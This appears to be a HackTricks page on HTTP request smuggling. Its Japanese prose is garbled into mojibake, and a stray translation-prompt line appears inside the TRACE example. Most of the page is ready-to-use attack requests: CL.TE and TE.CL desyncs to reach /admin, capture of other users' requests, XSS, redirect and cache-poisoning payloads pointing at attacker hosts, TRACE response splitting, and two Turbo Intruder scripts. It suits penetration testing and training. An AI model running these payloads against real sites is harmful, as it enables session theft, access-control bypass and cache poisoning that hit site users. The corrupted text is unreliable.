browser-powered/client-side desync ãçãå Žåãæªæãããªã¯ãšã¹ãã¯ãã©ãŠã¶ããã¯ãã¹ãªãªãžã³ã§éä¿¡å¯èœã§ãªããã°ãªããŸããããããã®é£èªåããªãã¯ã¯éçšããŸãããnavigation/fetch ã§å°éå¯èœãª primitives ã«æ³šåããäžæµã³ã³ããŒãã³ããã¬ã¹ãã³ã¹ãåæ ãŸãã¯ãã£ãã·ã¥ããå Žåã« cache poisoningãheader disclosureãfront-end control bypass ãžããããããŠãã ããã
For background and end-to-end workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): äœã¬ãã«ã® HTTP æåãšãœã±ããçµåãé²åããŸãã
- âSmuggling or pipelining?â Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder:
requestsPerConnectionã«ããæ¥ç¶åå©çšã®ç²Ÿå¯ãªå¶åŸ¡ã - Burp HTTP Request Smuggler: firstârequest routing/validation ãèŠã€ãã connectionâstate probe ãå«ã¿ãŸãã
Note
åå©çšã®ã¿ã§çºçãã广ã¯ããµãŒãåŽã® desync ã蚌æããŠå ·äœçãªåœ±é¿ïŒpoisoned cache artifactãleaked internal header ã«ããæš©éåé¿ãbypassed FE control ãªã©ïŒã瀺ããªãéããåé¡å€ãšèŠãªããŠãã ããã
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
æã« front-end proxy ã¯ã»ãã¥ãªãã£å¯Ÿçã匷å¶ããåä¿¡ãªã¯ãšã¹ãã粟æ»ããŸãããããããããã®å¯Ÿç㯠HTTP Request Smuggling ãæªçšããããšã§åé¿ã§ããrestricted endpoints ãžã®äžæ£ã¢ã¯ã»ã¹ãå¯èœã«ããŸããããšãã°å€éšãã /admin ãžã¢ã¯ã»ã¹ããããšãçŠæ¢ãããfront-end proxy ããã®è©Šã¿ããããã¯ããŠããå ŽåããããŸããããã§ãããã® proxy 㯠smuggled HTTP ãªã¯ãšã¹ãå
ã®åã蟌ã¿ãªã¯ãšã¹ããæ€æ»ããªãããšãããããã®æã穎ã§å¶éãåé¿ã§ããå ŽåããããŸãã
以äžã®äŸã¯ãHTTP Request Smuggling ã䜿ã£ãŠ front-end ã®ã»ãã¥ãªãã£ã³ã³ãããŒã«ïŒå
žåçã«ã¯ front-end proxy ãå®ã£ãŠãã /admin ãã¹ïŒãåé¿ããæ¹æ³ã瀺ããŠããŸãã
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
In the CL.TE attackã§ã¯ãæåã®ãªã¯ãšã¹ãã«å¯ŸããŠContent-LengthããããŒãå©çšãããç¶ããŠåã蟌ãŸãããªã¯ãšã¹ãã¯Transfer-Encoding: chunkedããããŒã䜿çšããŸããfront-end proxyã¯æåã®POSTãªã¯ãšã¹ããåŠçããŸãããåã蟌ãŸããGET /adminãªã¯ãšã¹ããæ€æ»ã§ããªãããã/adminãã¹ãžã®äžæ£ã¢ã¯ã»ã¹ãå¯èœã«ãªããŸãã
TE.CL äŸ
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
éã«ãTE.CL æ»æã§ã¯ãæåã® POST ãªã¯ãšã¹ãã Transfer-Encoding: chunked ã䜿çšãããã®åŸã«åã蟌ãŸãããªã¯ãšã¹ã㯠Content-Length ãããã«åºã¥ããŠåŠçãããŸããCL.TE æ»æãšåæ§ã«ãfront-end proxy ã¯ã¹ã ãŒãºã«çŽã蟌ãã GET /admin ãªã¯ãšã¹ããèŠèœãšããçµæçã«å¶éããã /admin ãã¹ãžã®ã¢ã¯ã»ã¹ãèš±ããŠããŸããŸãã
ããã³ããšã³ãã«ãããªã¯ãšã¹ãæžãæãã®æ€åº
ã¢ããªã±ãŒã·ã§ã³ã¯ãã°ãã° front-end server ãå©çšããŠãåä¿¡ãªã¯ãšã¹ãã back-end server ã«æž¡ãåã«å€æŽãå ããŸããå
žåçãªå€æŽäŸãšããŠã¯ãX-Forwarded-For: <IP of the client> ã®ãããªãããã远å ããã¯ã©ã€ã¢ã³ãã® IP ã back-end ã«äŒããããšããããŸãããããã®å€æŽãçè§£ããããšã¯éèŠã§ãbypass protections ã uncover concealed information or endpoints ã®ææ®µãæããã«ããå¯èœæ§ããããŸãã
proxy ããªã¯ãšã¹ããã©ã®ããã«å€æŽãããã調ã¹ãã«ã¯ãback-end ãã¬ã¹ãã³ã¹å ã§ãšã³ãŒãã POST ãã©ã¡ãŒã¿ãèŠã€ããŸããæ¬¡ã«ããã®ãã©ã¡ãŒã¿ãæåŸã«äœ¿ã圢ã§ãªã¯ãšã¹ããäœæãã以äžã®ããã«ããŸã:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
ãã®æ§é ã§ã¯ãåŸç¶ã®ãªã¯ãšã¹ãã®èŠçŽ ã search= ã®åŸã«è¿œå ãããããã¯ã¬ã¹ãã³ã¹ã«åæ ããããã©ã¡ãŒã¿ã§ãããã®åæ ã«ãããåŸç¶ãªã¯ãšã¹ãã®ããããé²åºããŸãã
ãã¹ãããããªã¯ãšã¹ãã® Content-Length ãããã¯å®éã®ã³ã³ãã³ãé·ãšäžèŽãããããšãéèŠã§ããå°ããå€ããå§ããŠåŸã
ã«å¢ããã®ãæšå¥šãããŸããå€ãå°ãããããšåæ ãããããŒã¿ãåãè©°ãããã倧ãããããšãªã¯ãšã¹ãããšã©ãŒã«ãªãå¯èœæ§ããããŸãã
ãã®ææ³ã¯TE.CL è匱æ§ã®æèã§ãé©çšå¯èœã§ããããªã¯ãšã¹ã㯠search=\r\n0 ã§çµç«¯ããå¿
èŠããããŸããæ¹è¡æåã«é¢ããããå€ã¯ search ãã©ã¡ãŒã¿ã«è¿œèšãããŸãã
ãã®ææ³ã¯äž»ã« front-end proxy ã«ãããªã¯ãšã¹ãã®æ¹å€ãææ¡ããããã«çšããããå®è³ªçã«ã¯èªå·±èª¿æ»ãè¡ããã®ã§ãã
ä»ãŠãŒã¶ã®ãªã¯ãšã¹ããææãã
POST æäœäžã«ãã©ã¡ãŒã¿ã®å€ãšããŠç¹å®ã®ãªã¯ãšã¹ãã远èšããããšã§ã次ã®ãŠãŒã¶ã®ãªã¯ãšã¹ããææããããšãå¯èœã§ããå®çŸæ¹æ³ã¯æ¬¡ã®éãã§ãïŒ
以äžã®ãªã¯ãšã¹ãããã©ã¡ãŒã¿ã®å€ãšããŠè¿œèšããããšã§ãåŸç¶ã¯ã©ã€ã¢ã³ãã®ãªã¯ãšã¹ããæ ŒçŽã§ããŸãïŒ
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
ãã®ã·ããªãªã§ã¯ãcomment parameter ã¯å ¬éããŒãžäžã®æçš¿ã®ã³ã¡ã³ãæ¬ã«å 容ãä¿åããããšãæå³ããŠããŸãããããã£ãŠãç¶ããªã¯ãšã¹ãã®å 容ãã³ã¡ã³ããšããŠè¡šç€ºãããŸãã
ãããããã®ææ³ã«ã¯å¶éããããŸããäžè¬ã«ãã¹ã ãŒãžã³ã°ãããªã¯ãšã¹ãã§äœ¿çšããããã©ã¡ãŒã¿åºåãæåãŸã§ããããŒã¿ãåã蟌ããŸãããURLãšã³ã³ãŒãããããã©ãŒã éä¿¡ã®å Žåããã®åºåãæå㯠& ã§ããã€ãŸãã被害ãŠãŒã¶ã®ãªã¯ãšã¹ãããåã蟌ãŸããå
å®¹ã¯æåã® & ã§æ¢ãŸããå Žåã«ãã£ãŠã¯ã¯ãšãªæååã®äžéšã§ããããšããããŸãã
ããã«ããã®ã¢ãããŒã㯠TE.CL è匱æ§ã§ãæå¹ã§ããç¹ã«æ³šæããŠãã ããããã®å Žåããªã¯ãšã¹ã㯠search=\r\n0 ã§çµããã¹ãã§ããæ¹è¡æåã®æç¡ã«é¢ããããå€ã¯ search ãã©ã¡ãŒã¿ã«è¿œå ãããŸãã
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling 㯠Reflected XSS ã«å¯ŸããŠè匱ãªãŠã§ãããŒãžãæªçšããããã«å©çšã§ããŸãã以äžã®ãããªå€§ããªå©ç¹ããããŸã:
- 察象ãŠãŒã¶ãŒãšã®ããåã㯠äžèŠ ã§ãã
- HTTP request headers ã®ãããªããªã¯ãšã¹ãã® éåžžã¯å°éã§ããªã éšåã§ XSS ãæªçšã§ããŸãã
ãŠã§ããµã€ãã User-Agent ãããçµç±ã§ Reflected XSS ã«è匱ãªå Žåã以äžã® payload ã¯ãã®è匱æ§ãã©ã®ããã«æªçšãããã瀺ããŸã:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
This payload is structured to exploit the vulnerability by:
- Initiating a
POSTrequest, seemingly typical, with aTransfer-Encoding: chunkedheader to indicate the start of smuggling. - Following with a
0, marking the end of the chunked message body. - Then, a smuggled
GETrequest is introduced, where theUser-Agentheader is injected with a script,<script>alert(1)</script>, triggering the XSS when the server processes this subsequent request.
By manipulating the User-Agent through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
HTTP/0.9
Caution
In case the user content is reflected in a response with a
Content-typesuch astext/plain, preventing the execution of the XSS. If the server support HTTP/0.9 it might be possible to bypass this!
HTTP/0.9 㯠HTTP/1.0 ãã以åã®ããŒãžã§ã³ã§ãGET ã®ã¿ã䜿çšããheaders ãè¿ããæ¬æã ããè¿ããŸãã
In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a fake HTTP/1.1 response (with headers and body) so the response will contain valid executable JS code with a Content-Type of text/html.
HTTP Request Smuggling ã䜿ã£ããªã³ãµã€ããªãã€ã¬ã¯ãã®æªçš
ã¢ããªã±ãŒã·ã§ã³ã¯ãã°ãã°ãªãã€ã¬ã¯ã URL ã« Host ãããã®ãã¹ãåã䜿çšããŠããã URL ããå¥ã® URL ãžãªãã€ã¬ã¯ãããŸãããã㯠Apache ã IIS ã®ãããªãŠã§ããµãŒãã§äžè¬çã§ããäŸãã°ãæ«å°Ÿã¹ã©ãã·ã¥ããªããã©ã«ããèŠæ±ãããšãã¹ã©ãã·ã¥ãä»ããããã«ãªãã€ã¬ã¯ããããŸã:
GET /home HTTP/1.1
Host: normal-website.com
çµæ:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
äžèŠç¡å®³ã«èŠãããããã®æå㯠HTTP request smuggling ãå©çšããŠæäœããããŠãŒã¶ãŒãå€éšãµã€ããžãªãã€ã¬ã¯ãããããšãã§ãããäŸãã°:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
ãã® smuggled request ã«ãããæ¬¡ã«åŠçããããŠãŒã¶ãŒã®ãªã¯ãšã¹ããæ»æè ã管çãããŠã§ããµã€ãã«ãªãã€ã¬ã¯ããããå¯èœæ§ããããŸãïŒ
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
çµæ:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
In this scenario, a userâs request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
HTTP Request Smuggling ãå©çšãã Web Cache Poisoning ã®æªçš
Web Cache Poisoning ã¯ãéåžžããã©ãŒãã³ã¹åäžã®ããã«front-end infrastructure caches content ãè¡ãããŠããã³ã³ããŒãã³ããååšããå Žåã«å®è¡ã§ããŸãããµãŒããŒã®ã¬ã¹ãã³ã¹ãæäœããããšã§ãpoison the cache ããããšãå¯èœã§ãã
åè¿°ã®ãšããããµãŒããŒã®ã¬ã¹ãã³ã¹ã倿Žã㊠404 ãšã©ãŒãè¿ãæ¹æ³ã確èªããŸããïŒåç
§: Basic ExamplesïŒãåæ§ã«ããµãŒããŒãéšã㊠/static/include.js ãžã®ãªã¯ãšã¹ãã«å¯Ÿã㊠/index.html ã®å
容ãè¿ãããããšãå¯èœã§ãããã®çµæããã£ãã·ã¥å
ã® /static/include.js ã®å
容ã /index.html ã®ãã®ã«çœ®ãæãããããŠãŒã¶ãŒãã /static/include.js ã«ã¢ã¯ã»ã¹ã§ããªããªããçµæãšã㊠Denial of Service (DoS) ãåŒãèµ·ããå¯èœæ§ããããŸãã
ãã®ææ³ã¯ãOpen Redirect vulnerability ãèŠã€ãã£ãå ŽåããŸã㯠on-site redirect to an open redirect ãååšããå Žåã«ç¹ã«åŒ·åã«ãªããŸãããããã®è匱æ§ãæªçšãããšããã£ãã·ã¥ããã /static/include.js ã®å
å®¹ãæ»æè
ãå¶åŸ¡ããã¹ã¯ãªããã«çœ®ãæããããæŽæ°ããã /static/include.js ãèŠæ±ãããã¹ãŠã®ã¯ã©ã€ã¢ã³ãã«å¯ŸããŠåºç¯ãª Cross-Site Scripting (XSS) æ»æãå®è¡ã§ããããã«ãªããŸãã
以äžã¯ãcache poisoning combined with an on-site redirect to open redirect ãæªçšããäŸã§ããç®çã¯ãã£ãã·ã¥å
ã® /static/include.js ã®å
容ã倿Žããæ»æè
ãå¶åŸ¡ãã JavaScript ãé
ä¿¡ããããšã§ãïŒ
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.
Subsequently, any request for /static/include.js will serve the cached content of the attackerâs script, effectively launching a broad XSS attack.
HTTP request smuggling ã䜿ã£ãŠ web cache deception ãå®è¡ãã
web cache poisoning ãš web cache deception ã®éãã¯äœã§ããïŒ
- web cache poisoning ã§ã¯ãæ»æè ãã¢ããªã±ãŒã·ã§ã³ã«æªæããã³ã³ãã³ãããã£ãã·ã¥ããããã®ã³ã³ãã³ãããã£ãã·ã¥ããä»ã®ã¢ããªã±ãŒã·ã§ã³ãŠãŒã¶ãŒã«é ä¿¡ãããŸãã
- web cache deception ã§ã¯ãæ»æè ãä»ã®ãŠãŒã¶ãŒã«å±ããæ©å¯ã³ã³ãã³ãããã£ãã·ã¥ãããæ»æè ããã®ãã£ãã·ã¥ãããã®ã³ã³ãã³ããååŸããŸãã
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
ãã® smuggled request ãéçã³ã³ãã³ãïŒäŸ: /someimage.pngïŒåãã®ãã£ãã·ã¥ãšã³ããªãæ±æããå Žåã被害è
ã® /private/messages ããã®æ©å¯ããŒã¿ããã®éçã³ã³ãã³ãã®ãã£ãã·ã¥ãšã³ããªãšããŠä¿åãããå¯èœæ§ããããŸãããã®çµæãæ»æè
ã¯ãããã®ãã£ãã·ã¥ãããæ©å¯ããŒã¿ãååŸã§ããå¯èœæ§ããããŸãã
HTTP Request Smuggling ãä»ãã TRACE ã®æªçš
In this post ã¯ããµãŒãã TRACE ã¡ãœãããæå¹ã«ããŠããå ŽåãHTTP Request Smuggling ã䜿ã£ãŠãããæªçšã§ããå¯èœæ§ããããšç€ºåããŠããŸããããã¯ããã®ã¡ãœããããµãŒãã«éä¿¡ãããä»»æã®ããããã¬ã¹ãã³ã¹ã®æ¬æã®äžéšãšããŠåæ ããããã§ããäŸãã°:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
ãã® README.md ã®å 容ãããã«è²Œã£ãŠãã ãããcodeãã¿ã°ããªã³ã¯ããã¹ã¯å€æŽããã«ç¿»èš³ããŸãã
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
As the HEAD response will be containing a Content-Length header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response.
This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.
Abusing TRACE via HTTP Response Splitting
ç¶ããŠthis post ãåç
§ãããšãTRACEã¡ãœãããæªçšããå¥ã®æ¹æ³ãææ¡ãããŠããŸããåè¿°ã®éããHEADãªã¯ãšã¹ããšTRACEãªã¯ãšã¹ããsmuggleããããšã§ãHEADã¬ã¹ãã³ã¹å
ã®äžéšã®åæ ããŒã¿ãå¶åŸ¡ããããšãå¯èœã§ããHEADãªã¯ãšã¹ãã®ããã£é·ã¯åºæ¬çã«Content-Lengthãããã§ç€ºãããTRACEãªã¯ãšã¹ãã®ã¬ã¹ãã³ã¹ã«ãã£ãŠæ§æãããŸãã
ãããã£ãŠãæ°ããã¢ã€ãã¢ã¯ããã®Content-LengthãšTRACEã¬ã¹ãã³ã¹ã§è¿ãããããŒã¿ãææ¡ããŠããã°ãTRACEã¬ã¹ãã³ã¹ãContent-Lengthã®æåŸã®ãã€ã以éã«æå¹ãªHTTPã¬ã¹ãã³ã¹ãå«ãããã«ä»åããããšãã§ããæ»æè
ã¯æ¬¡ã®ã¬ã¹ãã³ã¹ã«å¯Ÿãããªã¯ãšã¹ããå®å
šã«å¶åŸ¡ã§ããïŒããã«ããcache poisoningãå®è¡ã§ããå¯èœæ§ãããïŒãšããç¹ã§ãã
äŸ:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
ãããã® responses ãçæããŸãïŒHEAD response ã Content-Length ãæã¡ããã®ãã TRACE response ã HEAD ã® body ã®äžéšãšãªããHEAD ã® Content-Length ãçµäºããæç¹ã§æå¹ãª HTTP response ã smuggled ãããç¹ã«æ³šæããŠãã ããïŒïŒ
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(âarbitrary responseâ)</script>
HTTP Request Smuggling ã HTTP Response Desynchronisation ã§æŠåšåãã
HTTP Request Smuggling ã®è匱æ§ãèŠã€ããããã©ã®ããã«æªçšããã°ãããããããªãå Žåã¯ã以äžã®ä»ã®æªçšææ³ã詊ããŠãã ããïŒ
HTTP Response Smuggling / Desync
ãã®ä»ã® HTTP Request Smuggling ãã¯ããã¯
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
åºå ž https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
åºå ž: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
ããŒã«
- HTTP Hacker (Burp BApp Store) â é£çµ/ãã¬ãŒãã³ã°ãäœã¬ãã«ã® HTTP æåãå¯èŠåãã
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action âSmuggling or pipelining?â
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: ãã®ããŒã«ã¯ææ³ããŒã¹ã® HTTP Fuzzer ã§ãç°åžžãª request smuggling ã®äžäžèŽãèŠã€ããã®ã«æçšã§ãã
åèè³æ
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- äºéã® falseâpositive ã«æ³šæïŒHTTP pipelining ãš request smuggling ã®åºå¥æ¹æ³ â https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- ãã©ãŠã¶é§åã® Desync Attacks â https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy â clientâside desync â https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


